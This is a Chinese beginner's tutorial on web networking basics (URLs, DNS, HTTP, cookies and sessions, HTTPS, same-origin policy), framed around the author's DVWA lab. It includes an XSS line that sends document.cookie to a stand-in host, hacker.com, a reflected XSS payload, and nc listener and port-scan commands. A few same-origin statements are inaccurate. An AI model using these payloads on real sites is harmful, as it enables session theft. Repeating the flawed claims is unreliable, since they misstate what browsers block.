网络基础科普

网络基础科普：从URL到HTTP协议

前言

这篇文章是一份纯科普性质的网络基础知识笔记。我在学习Web安全（SQL注入、XSS等）的过程中，发现很多概念其实自己并不清楚：

  • URL到底由哪些部分组成？
  • HTTP请求和响应长什么样？
  • Cookie和Session有什么区别？
  • 为什么有些网站是http，有些是https？

所以我决定系统地梳理一遍这些基础知识，用通俗易懂的语言记录下来。

这篇文章适合：

  • 对网络基础概念不清楚的初学者
  • 想系统了解Web工作原理的同学
  • 准备学习Web安全但基础薄弱的朋友

不需要任何前置知识，从零开始讲起。

1. 你访问一个网站时，发生了什么？

1.1 完整的过程

假设你在浏览器输入https://www.baidu.com并按下回车，接下来会发生：

步骤1：DNS解析（把域名变成IP地址）

你输入：www.baidu.com 浏览器查DNS：这个域名对应哪个IP？ DNS回答：220.181.38.148

就像你要寄信，收件人地址写的是"北京市海淀区某某小区"，邮局要找到具体的经纬度坐标才能送达。

步骤2：建立TCP连接（三次握手）

你的电脑 → 百度服务器：我想连接你（SYN） 百度服务器 → 你的电脑：好的，我准备好了（SYN-ACK） 你的电脑 → 百度服务器：确认，开始传输（ACK）

就像打电话，先拨号（嘟嘟嘟），对方接听说"喂"，你回应"喂"，然后开始对话。

步骤3：发送HTTP请求

GET / HTTP/1.1 Host: www.baidu.com User-Agent: Chrome/150.0.0.0 Cookie: BAIDUID=...

就像你对快递员说：“请给我送一份外卖，我的地址是xxx，我的会员卡号是xxx”。

步骤4：服务器处理并返回响应

HTTP/1.1 200 OK Content-Type: text/html Content-Length: 227 Set-Cookie: session_id=abc123 <html> <head><title>百度一下</title></head> <body>...</body> </html>

服务器返回网页的HTML代码。

步骤5：浏览器渲染页面

  • 解析HTML结构
  • 加载CSS样式
  • 执行JavaScript代码
  • 显示图片和视频
  • 最终呈现你看到的网页

1.2 用生活例子类比

整个过程就像你去餐厅点餐：

  1. DNS解析= 找到餐厅的地址
  2. 建立连接= 走进餐厅坐下
  3. 发送请求= 告诉服务员你要什么菜
  4. 服务器响应= 厨房做好菜端上来
  5. 浏览器渲染= 你享用美食

2. URL的结构：一个网址由什么组成？

2.1 完整的URL格式

https://www.example.com:443/path/to/page?key=value&key2=value2#section 协议:// 域名 :端口 /路径 ?查询参数 #锚点

让我们逐个拆解：

2.2 协议（Protocol）

常见协议：

  • http://- 超文本传输协议（明文传输，不安全）
  • https://- 加密的HTTP（SSL/TLS加密，安全）
  • ftp://- 文件传输协议
  • ws:///wss://- WebSocket协议（实时通信）

举例：

http://example.com - 不加密，数据可能被窃听 https://example.com - 加密传输，有小锁图标🔒

2.3 域名（Domain）

域名是什么：

  • 人类可读的网址（www.baidu.com）
  • 实际对应一个IP地址（220.181.38.148）
  • 就像联系人名字对应手机号码

域名的层级结构：

www.example.com | | | 子域名 域名 顶级域名 完整分解： .com - 顶级域名（TLD） example.com - 二级域名 www.example.com - 三级域名（子域名）

常见顶级域名：

  • .com- 商业
  • .cn- 中国
  • .org- 组织
  • .edu- 教育
  • .gov- 政府

2.4 端口（Port）

端口的概念：

  • IP地址像小区地址，端口像门牌号
  • 一个服务器可以同时运行多个服务，每个服务用不同端口

默认端口（可以省略）：

  • http://→ 默认端口 80
  • https://→ 默认端口 443

你实际输入：

https://www.baidu.com 等同于 https://www.baidu.com:443

自定义端口：

http://192.168.43.8:8898/dvwa/ ↑ 你在DVWA实验用的端口

常见端口号：

  • 80 - HTTP
  • 443 - HTTPS
  • 22 - SSH（远程登录）
  • 21 - FTP（文件传输）
  • 3306 - MySQL数据库
  • 6379 - Redis
  • 8080/8888/8898 - 常见的自定义HTTP端口

2.5 路径（Path）

路径指向具体的页面或资源：

https://www.example.com/path/to/page.html ^^^^^^^^^^^^^^^ 路径

类比：

  • 域名 = 图书馆地址
  • 路径 = 第几层、第几排、第几号书架

常见路径：

/index.html - 首页 /about.html - 关于页面 /api/user/login - API接口 /images/logo.png - 图片资源

2.6 查询参数（Query Parameters）

格式：?key=value&key2=value2

用途：向服务器传递数据

举例：

https://www.baidu.com/s?wd=python&ie=utf-8 ^^^^^^^^^^^^^^^^ 查询参数 解析： wd=python - 搜索关键词是python ie=utf-8 - 编码是utf-8

在XSS实验中你用过：

http://192.168.43.8/dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 你注入的payload

参数的特点：

  • 用?开始
  • 用&连接多个参数
  • 格式：键=值
  • GET请求的数据就在这里

2.7 锚点/片段（Fragment）

格式：#section

用途：定位到页面内的某个位置

举例：

https://zh.wikipedia.org/wiki/HTTP#历史 ^^^^ 锚点 点击后会跳转到"历史"这个章节

重要特性：

  • 后面的内容不会发送到服务器
  • 只在浏览器本地使用
  • 这就是为什么DOM型XSS更难被WAF检测

DOM型XSS利用的就是这个特性：

http://site.com/#<script>alert(1)</script> ^^^^^^^^^^^^^^^^^^^^^^^ 这部分服务器看不到！

3. IP地址和DNS：域名怎么变成IP？

3.1 IP地址是什么

IP地址 = 网络世界的门牌号

IPv4格式：

192.168.1.1 | | | | 每段是0-255之间的数字 总共4段，用.分隔

IPv6格式（更长，因为IPv4地址不够用了）：

2001:0db8:85a3:0000:0000:8a2e:0370:7334

3.2 公网IP vs 内网IP

公网IP：

  • 全球唯一
  • 可以从互联网访问
  • 例如：百度的服务器220.181.38.148

内网IP（局域网IP）：

  • 只在局域网内有效
  • 不能直接从互联网访问
  • 常见的内网IP段：
    • 192.168.x.x（家庭路由器常用）
    • 10.x.x.x
    • 172.16.x.x到172.31.x.x

你在DVWA实验中：

Windows靶机：192.168.43.8 - 内网IP Kali攻击机：192.168.43.9 - 内网IP 两者在同一局域网，所以能互相访问

3.3 DNS解析过程

DNS = 互联网的通讯录

完整的查询过程：

你输入：www.baidu.com 1. 浏览器查本地DNS缓存 └─ 没有 → 继续 2. 查操作系统的DNS缓存 └─ 没有 → 继续 3. 问本地DNS服务器（通常是路由器） └─ 没有 → 继续 4. 问ISP（网络运营商）的DNS服务器 └─ 没有 → 继续 5. 递归查询： 根域名服务器 → .com域名服务器 → baidu.com域名服务器 6. 最终得到IP：220.181.38.148 7. 缓存这个结果（下次访问更快）

为什么需要DNS：

  • 记IP地址太难了：220.181.38.148
  • 记域名很容易：www.baidu.com
  • DNS把域名翻译成IP

3.4 特殊的IP地址

127.0.0.1 / localhost：

  • 永远指向本机
  • 回环地址（数据不离开电脑）
  • 用于本地测试

0.0.0.0：

  • 表示"所有地址"
  • 服务监听0.0.0.0 = 监听所有网卡
  • 服务监听127.0.0.1 = 只能本机访问

示例：

你在Kali启动监听：nc -lvnp 8888 默认监听0.0.0.0:8888 所以Windows能连接到Kali的8888端口

4. HTTP协议：浏览器和服务器怎么对话？

4.1 HTTP请求的完整格式

一个真实的HTTP请求长这样：

GET /index.html HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 Accept: text/html,application/xhtml+xml Accept-Language: zh-CN,zh;q=0.9 Cookie: session_id=abc123; user=admin Referer: https://google.com Connection: keep-alive

结构分析：

请求行：GET /index.html HTTP/1.1 方法 路径 协议版本 请求头（Headers）： Host: 目标域名 User-Agent: 浏览器信息 Cookie: 会话信息 Referer: 从哪个页面跳转来的 空行（表示请求头结束） 请求体（Body）：POST才有，GET没有

4.2 HTTP请求方法

GET - 获取数据：

  • 参数在URL里
  • 例如：/search?q=python
  • 在XSS实验中用的反射型XSS就是GET

POST - 提交数据：

  • 参数在请求体里
  • 例如：登录表单提交用户名密码
  • 数据不在URL里，相对安全一点

其他方法：

  • PUT - 更新资源
  • DELETE - 删除资源
  • HEAD - 只要响应头，不要内容
  • OPTIONS - 询问服务器支持哪些方法

GET vs POST对比：

特性GETPOST
参数位置URL中请求体中
长度限制有（浏览器限制）无
安全性差（URL可见）相对好
缓存会被缓存不会
历史记录保存在历史不保存
用途查询数据提交数据

4.3 HTTP响应的完整格式

一个真实的HTTP响应长这样：

HTTP/1.1 200 OK Date: Fri, 19 Jul 2026 10:30:00 GMT Server: nginx/1.18.0 Content-Type: text/html; charset=utf-8 Content-Length: 1234 Set-Cookie: session_id=xyz789; HttpOnly; Secure Cache-Control: no-cache Connection: keep-alive <html> <head><title>示例页面</title></head> <body> <h1>Hello World</h1> </body> </html>

结构分析：

状态行：HTTP/1.1 200 OK 协议版本 状态码 状态描述 响应头（Headers）： Server: 服务器信息 Content-Type: 内容类型 Set-Cookie: 设置Cookie Content-Length: 内容长度 空行 响应体（Body）： HTML页面内容

4.4 HTTP状态码（重要！）

状态码告诉你请求是否成功，以及失败的原因。

2xx - 成功：

200 OK - 成功 201 Created - 资源已创建 204 No Content - 成功但无返回内容

3xx - 重定向：

301 Moved Permanently - 永久重定向 302 Found - 临时重定向 304 Not Modified - 资源未修改（使用缓存）

4xx - 客户端错误：

400 Bad Request - 请求格式错误 401 Unauthorized - 未认证（没登录） 403 Forbidden - 没权限（登录了但权限不够） 404 Not Found - 资源不存在（页面找不到） 405 Method Not Allowed - 方法不允许（比如该接口不支持POST）

5xx - 服务器错误：

500 Internal Server Error - 服务器内部错误 502 Bad Gateway - 网关错误 503 Service Unavailable - 服务不可用（可能在维护）

在实验中可能见过：

  • 200：正常访问DVWA
  • 404：输错URL路径
  • 500：SQL注入导致服务器报错

5. Cookie和Session：网站怎么记住你？

5.1 为什么需要Cookie和Session

HTTP是无状态的：

  • 每次请求都是独立的
  • 服务器不记得你是谁
  • 刷新页面 = 重新访问，服务器不认识你

问题：

  • 登录了淘宝，刷新后还要重新登录？
  • 购物车的商品刷新后就消失？

解决方案：Cookie和Session

5.2 Cookie是什么

Cookie = 浏览器存储的小数据

特点：

  • 存在浏览器里（你的电脑上）
  • 每次请求自动带上
  • 服务器可以读取和设置
  • 有过期时间

Cookie的组成：

session_id=abc123; Domain=example.com; Path=/; Expires=2026-08-19; HttpOnly; Secure; SameSite=Lax

Cookie属性详解：

  • 名称=值：session_id=abc123
  • Domain：哪个域名能读取（example.com）
  • Path：哪个路径能读取（/表示所有路径）
  • Expires：过期时间（到期后自动删除）
  • HttpOnly：禁止JavaScript读取（防XSS窃取）
  • Secure：只通过HTTPS传输
  • SameSite：防CSRF（Strict/Lax/None）

你在XSS实验中窃取的就是Cookie：

document.cookie// 读取Cookie// 返回：session_id=abc123; user=admin

5.3 Session是什么

Session = 服务器存储的会话数据

特点：

  • 存在服务器里（服务器的内存或数据库）
  • 每个用户有唯一的Session ID
  • Session ID存在Cookie里
  • 关闭浏览器或超时后失效

5.4 Cookie和Session的关系

完整的登录流程：

1. 你输入用户名密码，点击登录 浏览器 → 服务器： POST /login username=admin&password=123456 2. 服务器验证密码正确 服务器： - 创建Session：{ user_id: 1, username: "admin" } - 生成Session ID：abc123xyz - 把Session存到服务器（内存/Redis/数据库） 3. 服务器返回Session ID 服务器 → 浏览器： HTTP/1.1 200 OK Set-Cookie: session_id=abc123xyz; HttpOnly; Secure 浏览器收到后，把Cookie保存下来 4. 下次访问自动带上Cookie 浏览器 → 服务器： GET /profile Cookie: session_id=abc123xyz 5. 服务器根据Session ID找到Session 服务器： - 收到session_id=abc123xyz - 从存储中查找对应的Session - 找到：{ user_id: 1, username: "admin" } - 知道是admin用户在访问 6. 返回个人信息 服务器 → 浏览器： 返回admin的个人资料页面

类比：

  • Session ID= 电影票号码
  • Session数据= 影院的座位信息系统
  • 你拿着票（Cookie里的Session ID）进场
  • 工作人员扫描票号（服务器读Session ID）
  • 系统显示你的座位信息（服务器找到Session数据）

5.5 为什么XSS窃取Cookie很危险

原因：拿到Cookie = 拿到Session ID = 冒充你的身份

攻击过程：

1. 你登录了银行网站 浏览器Cookie：session_id=your_session_123 2. 你访问了含有XSS的页面 XSS代码： new Image().src="http://hacker.com/?c="+document.cookie; 3. 黑客收到你的Cookie 黑客服务器日志： session_id=your_session_123 4. 黑客把这个Cookie设置到他的浏览器 黑客浏览器Cookie：session_id=your_session_123 5. 黑客访问银行网站 黑客浏览器 → 银行服务器： GET /account Cookie: session_id=your_session_123 银行服务器： - 收到session_id=your_session_123 - 查Session：这是admin用户 - 返回admin的账户信息 黑客就变成了你！可以转账、修改密码等

防御：HttpOnly Cookie

Set-Cookie: session_id=abc123; HttpOnly
  • JavaScript无法读取：document.cookie读不到
  • XSS攻击者无法窃取
  • 但不能防止其他攻击（页面篡改、键盘记录等）

6. HTTPS：为什么要加密？

6.1 HTTP的问题

HTTP是明文传输：

你的电脑 → 路由器 → ISP → 服务器 ↓ ↓ ↓ ↓ 明文 明文 明文 明文

中间人可以：

  • 窃听：看到你的密码、信用卡号
  • 篡改：把网页内容改成钓鱼页面
  • 伪装：假装是银行网站

6.2 HTTPS = HTTP + 加密

HTTPS的三个目标：

  1. 加密：数据传输加密，别人看不懂
  2. 完整性：数据没有被篡改
  3. 身份验证：确认对方是真的银行网站

6.3 HTTPS工作原理（简化版）

建立HTTPS连接的过程：

1. 客户端发起请求 你的浏览器 → 服务器： "我想建立安全连接" 2. 服务器返回证书 服务器 → 你的浏览器： "这是我的证书（包含公钥）" 证书内容： - 网站域名：www.bank.com - 公钥：一串很长的数字 - 签发机构：DigiCert（CA） - 有效期：2025-2027 3. 浏览器验证证书 浏览器： - 检查证书是否由可信CA签发 - 检查域名是否匹配 - 检查是否在有效期内 - 验证通过 → 显示小锁🔒 4. 生成会话密钥 浏览器： - 生成随机密钥：random_key_xyz - 用服务器的公钥加密这个密钥 浏览器 → 服务器： "这是用你的公钥加密的密钥" 5. 服务器解密 服务器： - 用私钥解密 - 得到：random_key_xyz 现在双方都有这个密钥了！ 6. 加密通信开始 之后的通信都用random_key_xyz加密 别人即使截获数据，也解不开

关键点：

  • 非对称加密（RSA）：公钥加密，私钥解密（用于交换密钥）
  • 对称加密（AES）：同一个密钥加解密（用于实际数据传输，速度快）

6.4 证书链

你的浏览器怎么信任网站证书？

根CA证书（浏览器内置信任） └─ 中间CA证书 └─ 网站证书（www.bank.com）

举例：

DigiCert Root CA（根证书，浏览器信任） └─ DigiCert SHA2 Secure Server CA（中间证书） └─ www.alipay.com（支付宝的证书）

浏览器验证：

  1. 支付宝的证书是DigiCert中间CA签发的吗？✓
  2. DigiCert中间CA是DigiCert根CA签发的吗？✓
  3. DigiCert根CA在我的信任列表里吗？✓
  4. 全部通过，显示小锁🔒

假证书会怎样：

  • 黑客自己签发假证书
  • 浏览器：这个证书不是可信CA签发的！
  • 显示：⚠️ 您的连接不安全

6.5 HTTP vs HTTPS

特性HTTPHTTPS
端口80443
加密无有（SSL/TLS）
证书不需要需要
速度快稍慢（加密开销）
安全性不安全安全
SEO普通搜索引擎优先

现状：

  • 现代网站基本都用HTTPS
  • Chrome对HTTP网站标记"不安全"
  • 敏感网站（银行、支付）必须HTTPS

7. 编码和加密：别搞混了

7.1 编码（Encoding）

目的：数据格式转换，不是为了保密

特点：

  • 任何人都能解码
  • 不需要密钥
  • 公开的算法

常见编码：

URL编码（你在XSS实验遇到过）：

原文：空格 < > " ' 编码：%20 %3C %3E %22 %27 为什么需要： URL只能包含ASCII字符 特殊字符需要编码才能传输

Base64编码：

原文：Hello 编码：SGVsbG8= 为什么需要： 把二进制数据转成可打印字符 比如在HTML里嵌入图片

HTML实体编码（防XSS用的）：

原文：<script>alert(1)</script> 编码：&lt;script&gt;alert(1)&lt;/script&gt; 浏览器显示：<script>alert(1)</script>（纯文本） 浏览器不会执行，只会显示

7.2 加密（Encryption）

目的：保护数据机密性，需要密钥才能解密

特点：

  • 需要密钥
  • 没有密钥无法解密
  • 用于保密

对称加密（同一个密钥）：

算法：AES、DES、3DES 加密：明文 + 密钥 → 密文 解密：密文 + 密钥 → 明文 例子： 明文：Hello 密钥：my_secret_key 加密：5K8dj2kD9s（密文）

非对称加密（公钥私钥）：

算法：RSA、ECC 公钥加密，私钥解密： 明文 + 公钥 → 密文 密文 + 私钥 → 明文 HTTPS就用这个方式交换密钥

7.3 哈希（Hash）

目的：验证数据完整性，不可逆

特点：

  • 无法反推原文
  • 同样输入永远得到同样输出
  • 任何输入长度 → 固定长度输出

常见哈希算法：

MD5（已不安全）： 输入：Hello 输出：8b1a9953c4611296a827abf8c47804d7（32位） SHA-256（安全）： 输入：Hello 输出：185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969（64位）

用途：

  • 存储密码：数据库不存明文密码，存哈希值

    用户注册： 密码：123456 存储：e10adc3949ba59abbe56e057f20f883e（MD5哈希） 用户登录： 输入密码：123456 计算哈希：e10adc3949ba59abbe56e057f20f883e 对比存储的哈希 → 匹配，登录成功

  • 验证文件完整性：

    下载文件：ubuntu.iso 官方提供SHA-256：abc123... 你下载后计算SHA-256：abc123... 一致 → 文件完整，没被篡改

7.4 三者对比

类型可逆需密钥长度变化用途
编码✓✗可能变长数据转换、传输
加密✓✓变长或等长保密传输
哈希✗✗固定长度验证完整性、存密码

记忆口诀：

  • 编码：Base64、URL编码 → 转换格式
  • 加密：AES、RSA → 需要密钥保护
  • 哈希：MD5、SHA-256 → 不可逆

8. 同源策略和CORS：浏览器的安全机制

8.1 什么是同源

同源 = 协议 + 域名 + 端口 都相同

判断同源的例子：

当前页面：https://www.example.com:443/page1 https://www.example.com:443/page2 ✓ 同源（路径不影响） http://www.example.com:443/page1 ✗ 协议不同（http vs https） https://api.example.com:443/data ✗ 域名不同（www vs api） https://www.example.com:8080/page ✗ 端口不同（443 vs 8080）

8.2 为什么需要同源策略

没有同源策略会怎样：

假设你访问了恶意网站evil.com：

// evil.com的恶意代码fetch('https://bank.com/api/transfer?to=hacker&amount=10000',{credentials:'include'// 带上bank.com的Cookie})

如果没有同源策略：

  1. 你的浏览器里有bank.com的登录Cookie
  2. evil.com的JS代码可以读取这个Cookie
  3. 用你的Cookie向银行发起转账请求
  4. 钱就转给黑客了

有了同源策略：

  • evil.com的JS不能读取bank.com的Cookie
  • evil.com不能向bank.com发起带Cookie的请求
  • 跨域请求被浏览器拦截

8.3 同源策略限制了什么

不能跨域访问：

  • Cookie、LocalStorage、IndexedDB
  • DOM（不能操作其他域的页面）
  • AJAX/Fetch请求（默认不能跨域）

可以跨域的：

  • <img>加载图片（你XSS窃取Cookie用的）
  • <script>加载脚本
  • <link>加载CSS
  • <iframe>嵌入页面（但不能操作内容）

这就是为什么XSS用new Image().src：

// ✓ 可以，img标签天生支持跨域newImage().src="http://hacker.com/?c="+document.cookie;// ✗ 不行，fetch被同源策略限制fetch("http://hacker.com/?c="+document.cookie);

8.4 CORS（跨域资源共享）

什么是CORS：
服务器明确允许其他域名访问。

服务器设置响应头：

Access-Control-Allow-Origin: https://trusted.com

举例：

你的网站：https://mysite.com API服务器：https://api.example.com 默认情况： mysite.com的JS不能访问api.example.com 浏览器拦截跨域请求 API服务器返回CORS头： Access-Control-Allow-Origin: https://mysite.com 浏览器： 看到这个头，允许mysite.com访问

常见CORS头：

Access-Control-Allow-Origin: * # 允许所有域名（不安全） Access-Control-Allow-Origin: https://trusted.com # 只允许这个域名 Access-Control-Allow-Methods: GET, POST # 允许的方法 Access-Control-Allow-Headers: Content-Type # 允许的请求头 Access-Control-Allow-Credentials: true # 允许带Cookie

9. 常用网络工具和命令

9.1 ping - 测试连通性

用法：

pingbaidu.com

输出：

PING baidu.com (220.181.38.148): 56 data bytes 64 bytes from 220.181.38.148: icmp_seq=0 ttl=52 time=25.3 ms 64 bytes from 220.181.38.148: icmp_seq=1 ttl=52 time=24.8 ms

含义：

  • 220.181.38.148- 域名对应的IP
  • time=25.3 ms- 延迟25.3毫秒
  • 延迟越小越好（<50ms很好，>200ms较慢）

9.2 traceroute / tracert - 追踪路由

用法：

# Linux/Mactraceroutebaidu.com# Windowstracert baidu.com

输出：

1 192.168.1.1 1.2 ms # 你的路由器 2 10.0.0.1 5.3 ms # ISP网关 3 202.97.33.1 15.8 ms # 骨干网节点 ... 10 220.181.38.148 25.3 ms # 目标服务器

用途：查看数据包经过哪些节点，哪一跳延迟高

9.3 nslookup - 查询DNS

用法：

nslookupbaidu.com

输出：

Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: Name: baidu.com Address: 220.181.38.148 Address: 220.181.38.251

用途：查看域名对应哪个IP

9.4 curl - 命令行发HTTP请求

基本用法：

# GET请求curlhttps://baidu.com# POST请求curl-XPOST-d"user=admin&pass=123"https://api.com/login# 查看响应头curl-Ihttps://baidu.com# 带Cookiecurl-b"session_id=abc123"https://example.com

你可以用curl测试XSS：

curl"http://192.168.43.8/dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>"

9.5 nc (netcat) - 网络瑞士军刀

我在XSS实验用过：

# 监听8888端口nc-lvnp8888# 连接目标nc192.168.1.180

其他用途：

# 传输文件# 接收方nc-l8888>file.txt# 发送方nc192.168.1.18888<file.txt# 端口扫描nc-zv192.168.1.120-100

9.6 浏览器开发者工具（F12）

Network标签（最常用）：

  • 查看所有HTTP请求
  • 点击某个请求，查看：
    • Headers（请求头、响应头）
    • Payload（请求参数）
    • Response（响应内容）
    • Cookies
    • Timing（加载时间）

Console标签：

  • JavaScript控制台
  • 查看错误信息
  • 执行JS代码测试
  • 你可以在这里测试XSS payload

Application标签：

  • 查看Cookie
  • 查看LocalStorage
  • 查看SessionStorage
  • 清除缓存

你可以这样查看Cookie被窃取：

// Console里输入document.cookie// 输出：session_id=abc123; user=admin

10. 总结：从URL到HTTP的完整过程

让我们回顾一下访问网站的完整流程：

1. 你输入：https://www.example.com/page?id=1 2. 解析URL： 协议：https（需要加密） 域名：www.example.com 端口：443（默认） 路径：/page 参数：id=1 3. DNS解析： www.example.com → 93.184.216.34 4. 建立TCP连接： 三次握手（SYN → SYN-ACK → ACK） 5. HTTPS握手： 验证证书 → 交换密钥 → 建立加密通道 6. 发送HTTP请求： GET /page?id=1 HTTP/1.1 Host: www.example.com Cookie: session_id=abc123 ... 7. 服务器处理： - 读取Cookie，识别用户 - 查询数据库 - 生成HTML页面 8. 返回HTTP响应： HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: session_id=xyz789 <html>...</html> 9. 浏览器渲染： - 解析HTML - 加载CSS/JS - 渲染页面 - 显示给你看 10. 断开连接： 四次挥手（FIN → ACK → FIN → ACK）

总结

这篇文章梳理了Web网络的基础知识，从URL结构到HTTP协议，从Cookie/Session到HTTPS加密，从编码到同源策略。

核心要点回顾：

  • URL= 协议 + 域名 + 端口 + 路径 + 参数 + 锚点
  • HTTP= 请求行 + 请求头 + 空行 + 请求体
  • Cookie= 浏览器存储，每次自动带上
  • Session= 服务器存储，Session ID在Cookie里
  • HTTPS= HTTP + SSL/TLS加密
  • 同源策略= 协议、域名、端口都相同才能互相访问

希望这篇科普文章能帮到你！